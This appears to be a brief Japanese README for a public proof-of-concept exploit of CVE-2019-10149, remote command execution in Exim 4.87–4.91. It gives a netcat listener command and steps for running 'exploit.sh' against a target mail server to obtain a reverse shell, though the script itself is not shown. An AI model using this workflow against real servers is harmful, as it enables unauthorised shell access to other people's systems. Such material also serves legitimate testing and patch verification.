概要

脆弱なeximサービスからシェルへのリモートコマンド実行。
脆弱なバージョンは4.87から4.91（両端を含む）です。https://nvd.nist.gov/vuln/detail/cve-2019-10149 を確認してください。
以下のスクリプトはQualysのPoCに基づいています。https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html を確認してください。

2つのターミナルを推奨

T1 $ nc -nlvp 1337
T2 $ bash exploit.sh
   $ Listener IP: 192.168.0.1
   $ Listener Port: 1337
   $ Exim IP: 10.10.0.1
   $ Exim Port: 25

PoC_CVE-2019-10149--rce